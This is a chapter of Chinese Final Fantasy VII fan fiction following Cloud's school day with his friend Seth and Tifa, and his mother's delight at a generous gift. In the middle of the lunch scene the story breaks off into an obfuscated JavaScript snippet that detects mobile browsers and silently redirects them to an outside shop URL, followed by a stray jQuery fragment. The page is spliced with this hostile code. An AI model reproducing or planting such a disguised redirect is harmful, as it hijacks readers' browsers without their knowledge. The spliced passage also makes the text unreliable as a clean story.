12. 克劳德的一天
    ***

    同一清晨。

    斯特莱夫宅。

    克劳德睡不着。

    他一闭眼,尽是种种不可思议、近似幻象的景况。

    是的,幻象。

    谁能证明昨日所发生的不是虚构呢?

    想想看吧,他起床,吃早饭,去瓦伦丁家训练。

    然后呢?一切全乱套了。

    他在尼布尔山上狂奔,稍不留心就会结结实实摔在尖锐的石子上;约翰逊先生,那个受人尊敬外面来的记者,在湿漉漉的额发下露出了一张他熟悉又陌生的面孔。

    他记得那双绿得仿佛人造翡翠一般的眼睛。那双眼睛一次次出现在他的招贴画册、他床头柜的海报、他的梦里。他确信,他再也忘不了那双眸子了。

    可是后怕还是压倒了喜悦。

    昨天到底发生了什么?无论如何,克劳德都没法给出一个合理的解释。

    他从床上一跃而起。

    既然不知道,那就去问知道的人就好了。

    海报里的银色将军蓄势待发,仿佛是在赞同他的做法。

    ***

    克劳迪娅理所当然地对儿子的早起感到惊讶。

    但她是个好妈妈,好妈妈允许自己的孩子有些小秘密。于是她督促儿子喝完牛奶,替儿子包好午饭,送他出门。

    清晨的阳光有些刺眼,克劳迪娅微眯着眼睛。她的直觉告诉她,有一些即将悄然发生改变。

    但直觉的预告不一定是好事,就像它没有在那个风雨交加的夜晚,告诉她那个带走她的男人会在同样的夜晚弃她而去。

    于是克劳迪娅摇摇头,把无聊的预言扫进门口的簸箕里。

    ***

    尼布尔海姆是个小村子,这样的小村子意味着学校仅仅只是两间不漏风、不渗雨的小屋子的集合体。有一个老师,如此一来屋子便不再是屋子,屋子成了学校。事情就是这么简单。

    克劳德打开教室的门,有些失望地发现自己是第一个。

    通常这个荣誉是属于塞斯的。自从他来这里上学后,再没人比他更早来到教室了。他甚至比凯瑟琳小姐来得还早(哦,她就是那位老师,也许有机会我们会提到她的故事的)。换作别的地方,他或许会被称为“管钥匙的那个”,并因此得到同学的尊敬。但这里是尼布尔海姆,尼布尔海姆不需要锁门。

    克劳德放下书包,开窗通风。防盗没有意义,不过窗户对山里咕叽咕叽叫的虫子很有用。没人想上学时对自己第一个打招呼的是只金灿灿的大甲虫或者是一只兔子或者别的什么。山里的东西都是这样,说不清。

    当然窗户还有更深刻的意义,克劳德不去想,他只是觉得,塞斯根本不应该来这里。

    平心而论,塞斯是他见过的、最博文多才的同龄人。他能够回答出凯瑟琳小姐所有的问题,说真的,克劳德不知道凯瑟琳小姐原来还会微笑——她只在他们随堂测试拿了优秀时,嘴角才会微微扯动一下,更多时候她的脸仿佛凝固了一般。像妈妈熬的冷却的猪油,克劳德不怀好意地腹诽着。

    而塞斯,他成了救场的新星。他赢得了一个让所有人减免作业的机会;他指导克劳德的作业,纠正克劳德训练中的错误;他和他见过的尼布尔海姆的孩子不一样,彬彬有礼,更重要的是,他从来不会欺负克劳德,也不会对克劳德另眼相待。

    以上只是说明,他是克劳德自豪的朋友。曾经无数次克劳德想问他为什么要在这样的学堂蹉跎岁月,但他没有说出口,一次也没有。他怕他一问,塞斯就会幡然醒悟,从此以后他就要像以前一样再也没有同桌了。

    时间在胡思乱想中一点一滴过去。

    人渐渐来齐了。克劳德看着课本,一个字也读不进去,心情逐渐从期待、狐疑,变成焦虑。每来一个人,他都要抬头看看,然后又失望地继续读书。

    蒂法来了。他以为她会像平时一样径直从他边上走过去,可她停下了。

    “早上好。”她说。

    “早,早上好。”他结结巴巴地说,不敢看她。

    万幸蒂法也没说什么,她像是特意来到这里,只为打一个再平常不过的招呼。

    克劳德觉得边上人都在看着他们。他能想象他们或是惊讶,或是轻蔑的眼神。他更不想抬头了。

    离上课还有十分钟的时候,凯瑟琳小姐的眼神不住地往他边上的空座位看。

    如果凯瑟琳小姐问塞斯怎么还没来,他该怎么说呢?塞斯病了?他怎么知道昨天晚上发生什么呢?

    克劳德觉得喘不过气来。过大的可能性压倒了他,他有点想吐。

    塞斯的眼睛和萨菲罗斯的眼睛重叠在一起,绿得像不灭的萤火。

    还有五分钟的时候,塞斯急匆匆地冲进教室里。

    面对整个教室怀疑的目光,他说遇到一点急事,便溜到自己的位置上。

    “你还好吗?”克劳德轻声问道。他又能呼吸了。

    “没问题。”塞斯用同样的音量回道。他似乎还想再说什么,可凯瑟琳小姐宣布已经上课了,“一会再说。”

    ***

    午休的时候,克劳德打开自己的包。

    他总是刻意不去看妈妈准备了什么。他说这是为了惊喜,可事实是颠来倒去老是那几样。他心知肚明他们家的条件这已经是最好的了。

    夹着花生酱的三明治整整齐齐地放在碎花布里。冷透的花生酱腻得发慌,克劳德给自己倒了一大杯凉水。

    塞斯给他递了一根坚果棒。加餐,他说,叔叔给的。

    行吧,克劳德想。他知道这样他就没法拒绝了。

    教室里没什么人。大部分都回家吃饭了。

    克劳德翻来覆去地看蒂法偷偷塞来的字条。

    “她说让我们在放学后等她,她甩开人就过来。”克劳德说,他还是有些难以置信,断了几年的线以这样的方式接上,昨天蒂法爸爸的训斥都变得不算数了。

    “哦,也行。”塞斯啃了一口面包。

    “你和蒂法之间,发生了什么?”他猝不及防地问道。

    克劳德呆楞地看着他。塞斯眨着绿眼睛,同样地盯着他。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606612|143376||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“好吧好吧,”他扫视了一圈教室,没人,“反正不是大秘密。”

    他故作轻松地说。

    ***

    他觉得今天讲了太多的秘密,知道了太多的故事。

    太阳斜斜地挂在树梢,和他第一次和塞斯那一天的位置一样。

    他有点累了。

    蒂法应约而来,听塞斯讲了一个关于外星病毒侵略星球的故事。

    这应该叫都市传说,克劳德从脑子里拽出一个名词。他不知道这个名词从哪里来,也不会想到,将来神罗步兵营最会讲鬼故事的能手在这里迈出了他的第一步。他只是听着,听塞斯向蒂法证明一切都是真实的、与不可能无关的。

    好吧,最后蒂法说,那接下来我们能做什么呢?

    他们看向尼布尔山脉,灰色的山脉里藏着一只怪物。

    只能等叔叔下结论了,塞斯握着拳,如果杰诺瓦能被一把火烧掉就好了,干干净净,一点不剩。

    是呀,克劳德想,真是这样就没有那么多牺牲了。

    先回家吧,剩下的不是现在的我们能解决的。塞斯又说。

    ***

    他看着家里的烟囱上方,青色的炊烟拔地而起、垂直向上,就知道妈妈已经准备烧饭了。

    他其实没什么胃口。每一天都是豆羹和面包,不会挨饿但也不好吃,可他做不出兴致缺缺的样子。

    他调整了一下心情,推开家里的门。

    他闻到一种与众不同的香味,一种只会在节日里出现的味道。

    他皱了皱眉:“妈妈,发生什么好事了吗?”

    克劳迪娅从厨房探出头:“克劳德!你怎么没和我说,你昨天去给约翰逊先生帮忙了呢?”

    她的语气很轻松,所以绝对不是坏事。

    “他说什么了吗?”克劳德讪笑着,在餐桌边坐下。

    “其实是村长来了,”克劳迪娅语速飞快地说,“他下午来的时候,我吓了一跳。他说你昨天去帮着给约翰逊先生当导游了,约翰逊先生很感激,给了你一笔报酬。”

    “他说很遗憾约翰逊先生要赶着回去,委托他来转交。”

    “克劳德,那可是足足2000gil啊!”

    “呃,你收了?”克劳德有些尴尬地问。约翰逊先生给的太多了,连他都知道。

    “村长只是给了一个信封。它太厚了,我以为只是感谢信。”克劳迪娅说,“我想我们只能下次答谢这位慷慨的先生了。他还会来吧?”

    “也许。”克劳德想。也许下次来的是萨菲罗斯。那个时候妈妈会更惊讶吧。

    “那封感谢信是给你的,在抽屉里,”克劳迪娅说,“我买了一点肉,现在是长身体的时候,还天天去瓦伦丁那里锻炼,该吃些好的了。”她絮絮叨叨地念着。

    克劳德打开抽屉,信整整齐齐地叠好放在最上层。

    他一目十行地看完,被最后一行吸引了目光。

    他说,我们下次再见吧。

    没有落款。

    克劳德把信捂在胸口,心都快要飞起来了。